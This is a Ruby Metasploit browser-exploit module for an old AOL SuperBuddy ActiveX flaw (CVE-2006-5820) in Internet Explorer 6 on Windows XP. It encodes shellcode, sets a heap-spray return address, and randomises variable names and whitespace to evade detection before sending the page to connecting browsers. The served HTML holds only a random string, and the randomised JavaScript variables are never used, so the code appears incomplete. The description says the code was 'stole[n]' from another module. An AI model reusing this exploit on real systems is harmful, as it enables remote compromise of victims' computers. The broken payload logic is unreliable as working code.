require 'msf/core' module Msf class Exploits::Windows::Browser::AOL_SuperBuddy_LinkSBIcons < Msf::Exploit::Remote include Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'AOL Sb.Superbuddy vulnerability', 'Description' => %q{ This module exploits a flaw in AOL Sb.SuperBuddy. We stole this code from a pre-existing metasploit module. }, 'License' => MSF_LICENSE, 'Author' => [ 'kradchad', 'leetpete' ], 'Version' => '0.1', 'References' => [ [ 'CVE', 'CVE-2006-5820'] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ] ], 'DefaultTarget' => 0)) end def autofilter false end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Get a unicode friendly version of the return address addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] # Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) var_tic = rand_text_alpha(rand(30)+2) var_toc = rand_text_alpha(rand(30)+2) # Randomize HTML data html = rand_text_alpha(rand(30)+2) # Build out the message content = %Q| #{html} | # Randomize the whitespace in the document content.gsub!(/\s+/) do |s| len = rand(100)+2 set = "\x09\x20\x0d\x0a" buf = '' while (buf.length < len) buf << set[rand(set.length)].chr end buf end print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) end end end